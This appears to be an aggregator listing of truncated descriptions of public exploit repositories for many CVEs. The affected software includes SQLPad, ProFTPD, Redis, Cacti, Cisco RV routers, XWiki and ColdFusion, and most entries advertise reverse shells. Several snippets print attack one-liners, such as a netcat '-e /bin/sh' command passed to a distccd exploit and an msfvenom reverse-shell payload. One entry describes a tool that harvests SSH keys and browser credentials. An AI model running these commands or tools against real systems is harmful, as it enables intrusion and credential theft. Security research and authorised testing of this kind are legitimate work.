SQLPad-RCE-Exploit-CVE-2022-0944

工作原理： 此 PHP 代码旨在利用 SQLPad 中与 CVE-2022-0944 相关的远程代码执行（RCE）漏洞。 其工作原理是向 SQLPad 应用程序注入恶意代码，强制其执行系统命令，从而打开一个反向 Shell——这是一种连接，可授予攻击者对存在漏洞系统的远程控制权。 先决条件： PHP CLI ——sudo apt-get install php-cli cURL（PHP cURL 库） ——sudo apt-get install php-curl 使用方法： 1. 设置监听器（在攻击者机器上） 要捕获反向 Shell 连接，请在攻击者的机器上启动 Netcat：...

cve-2015-1538-1

Se incluye un script de Python que genera un MP4 explotando la vulnerabilidad ‘stsc’, también conocida como CVE-2015-1538 1. Esta es una de las vulnerabilidades más críticas que reporté en la biblioteca Stagefright. El resultado esperado del exploit es una reverse shell como el usuario media. Com...

Prestashop-CVE-2024-34716

CSRF 和反向 Shell 攻击的利用脚本 该脚本自动化执行 CSRF（跨站请求伪造）攻击，将 PHP 反向 Shell 上传到目标 Web 服务器并执行它。反向 Shell 通过精心构造的 CSRF Payload 以 ZIP 文件形式传递，当特权用户与特定端点交互时触发。该脚本需要一个监听中的 Netcat 实例来捕获反向 Shell 连接。 目前似乎存在问题，稍后更新 要求 Netcat ：确保已安装 Netcat 并能够监听指定端口（默认：9001）。 Python 3 ：用于通过 HTTP 提供文件服务。 Curl 和 JQ ：用于获取和处理 HTTP 请求及 JSON 解析...

ProFTPD_CVE-2015-3306

m4ud Exploit RCE de ProFTPD 1.3.5 CVE : 2015-3306! root@kitploit: ProFTPd 1.3.5 RCE Usage: ProFTPD.py options Options: -h, --help show this help message and exit -l LHOST, --lhost=LHOST Local IP Required for Reverse Shell, -p LPORT, --lport=LPORT Port Required for Reverse Shell, -t TARGET,...

CVE-2022-0543

CVE-2022-0543 适用于通过Lua沙盒逃逸漏洞进行Redis RCE的完整利用程序。基于 https://thesecmaster.com/how-to-fix-cve-2022-0543-a-critical-lua-sandbox-escape-vulnerability-in-redis/。 功能: 自动反向Shell -I + -P 单条命令执行 -x 基本Shell 默认 待办: 需要更好的检测机制以防止误报 免责声明: 此脚本用于审计系统安全性。请仅在您自己的系统或已获得书面授权利用的系统上使用此脚本。...

CVE-2020-14295

CVE-2020-14295 漏洞详情 - https://github.com/Cacti/cacti/issues/3622 安装 pip3 install -r requirements.txt 用法 root@kitploit: $ ./gimme-a-shell.py --help usage: gimme-a-shell.py -h -t Target -U Username -P Password -i Shell-IP -p Shell-Port optional arguments: -h, --help show this help message and exit...

Cgi-bin_bash_Reverse

Cgi-binbashReverse POC for CVE-2014-6271 Src:https://gist.github.com/matjohn2/bc9689c60d4c9c5a2538...

cisco-rv-rce-poc

CVE-2023-20048 — Cisco RV 系列 概念验证与漏洞利用 ⚠ 警告： 仅用于授权测试 。不得将本工具用于您未拥有或未获得书面许可的系统。这仅是一个概念验证 ，仅限授权测试 使用。 这是什么 一个小型仓库，包含： CiscoPoc.py — 用于检测 CVE-2023-20048 的无害概念验证脚本。 CiscoRCE.py — 通过存在漏洞的 form2ping.cgi 尝试获取反向 Shell 的漏洞利用工具。 描述 该脚本用于检测 Cisco RV 系列路由器 是否存在 CVE-2023-20048 漏洞，这是一个命令注入缺陷，可导致以 root 权限执行远程代码...

CVE-2025-24367-PoC-Cacti

Cacti CVE-2025-24367 PoC de RCE Autenticado Este repositorio contiene una prueba de concepto PoC para CVE‑2025‑24367 , una vulnerabilidad de ejecución remota de código autenticada en Cacti. El problema abusa de una sanitización insuficiente de las entradas en el manejo de plantillas de gráficas. ...

CVE-2025-49132

CVE-2025-49132-POC 我出于个人挑战制作了这个PoC，灵感来自0xtensho 旨在提供更清晰的输出，仅用于反弹shell 用法： root@kitploit: 先更改主机和监听器变量 python3 CVE-2025-49132POC.py 免责声明 法律免责声明：本概念验证（PoC）仅供教育目的。作者不对因使用本程序造成的任何滥用或损害负责。未经授权访问计算机系统是犯罪行为。使用本工具即表示您同意对自己的行为承担全部责任。请自行承担风险使用。...

distccd_rce_CVE-2004-2687

此脚本的目标不是使用 Metasploit，而是手动执行。 用法： root@kitploit: nc -lvnp 4466 运行漏洞利用： root@kitploit: python3 ./exploit.py -t targetip -p targetport -c "nc attackerip attackerport -e /bin/sh"...

samba-trans2open-exploit-report

Samba Trans2Open 漏洞利用报告 本仓库包含在虚拟Linux环境中利用Samba Trans2Open 漏洞（CVE-2003-0201）的完整技术指南。 此利用仅用于教育和道德黑客培训目的。 报告内容 使用 netdiscover、nmap、whatweb 等工具进行网络和服务发现 漏洞识别与CVE映射 使用Metasploit和反向Shell载荷进行利用 获得目标系统的root权限 缓解该漏洞的保护技术 主要使用的工具 netdiscover whatweb nmap searchsploit Metasploit 完整PDF报告 包含所有步骤的完整技术报告。...

CVE-2025-56383

Уязвимость root@kitploit: Тип атаки: DLL Hijacking DLL劫持 Целевое приложение: Notepad++ Метод: Файл NppExport.dll загружается Notepad++ из рабочей директории Реализация Вредоносная DLL содержит: root@kitploit: Экспортируемые функции оригинальной библиотеки для обеспечения совместимости Reverse...

paint2die

最简单且最可靠的 RichFaces Paint2DResource CVE-2018-12533 RF-14310 漏洞利用工具 安装 • 使用 • 运行 Paint2Die 安装说明 root@kitploit: git clone https://github.com/LucasKatashi/paint2die.git cd paint2die chmod +x paint2die.py pip install -r requirements.txt 使用 root@kitploit: ./paint2die -h 这将显示该工具的帮助信息。以下是它支持的所有选项。...

CVE-2025-24893-PoC

CVE-2025-24893-PoC Exploit de RCE no autenticado en XWiki Versiones de XWiki afectadas Versiones 15.10.11 Versiones 16.4.1 Versiones 16.5.0RC1 Descripción de la vulnerabilidad Las versiones afectadas de XWiki contienen una vulnerabilidad de Ejecución Remota de Código causada por el manejo insegur...

CVE-2025-25257

CVE-2025-25257 由watchtowr及其他人在github上发布的针对CVE-2025-25257的漏洞利用代码，在我从官方供应商网站下载的fortiweb安装版本上无法工作。我从这些漏洞利用代码中提取了一些代码，制作了一个能够在我的环境中弹出反向shell的POC。反向shell的IP地址和端口是硬编码的，当然需要更改。 漏洞分析及逐步演示已在我在YouTube频道的两个视频中描述（意大利语，英文字幕）： 第1部分：https://youtu.be/Z6I4adGuJ1c 第2部分：https://youtu.be/Z6I4adGuJ1c...

xwiki_solrsearch-rce-exploit

solrsearch-rce-exploit 针对 XWiki SolrSearch 的未授权 RCE PoC CVE-2025-24893。命令执行 + 反向 Shell。 CVE-2025-24893 – XWiki SolrSearch RCE PoC 针对 XWiki SolrSearch 模板注入导致未授权远程代码执行的概念验证。 已在 XWiki Debian 15.10.8 （修复版本：15.10.11 / 16.4.1 / 16.5.0RC1）上测试通过。 ⚠️ 仅用于教育目的。请勿在未经授权或明确许可的系统上运行。 功能 通过...

CVE-2024-28397-Reverse-Shell

CVE-2024-28397-Reverse-Shell Reverse shell para CVE-2024-28397. El exploit funciona para js2py = v0.74 Requisitos Librería requests pip install requests Python3 Netcat O algo que puedas usar como listener para la reverse shell Uso Para el listener root@kitploit: nc -lnvp 4444 Para el exploit...

LFI-Destruction

🔥 LFI-Destruction – 授权渗透测试框架 LFI-Destroyer 是一个全面的、模块化的本地文件包含（LFI）利用框架，专为授权的安全专业人员设计。它将多种攻击技术整合到一个易于使用的工具中： SSH 与浏览器制品模糊测试 – 在 Linux 和 Windows 上搜索 SSH 密钥、Putty PPK、WinSCP、FileZilla、Firefox、Chrome、Edge 和 Brave 凭据。 日志投毒 → 反弹 Shell – 通过可写日志文件自动实现 RCE，支持自定义 payload。 phpinfo 条件竞争 RCE – 当 fileuploads=On...

CVE-2023-26360-RCE

CVE-2023-26360 - Remote Code Execution on ColdFusion 2021 Sometimes, the scripts don't work at first attempt. Try a few times to make it work How to execute Create a payload with msfvenom root@kitploit: msfvenom -p java/shellreversetcp LHOST=192.168.56.1 LPORT=4444 file.java Starting server.py Th...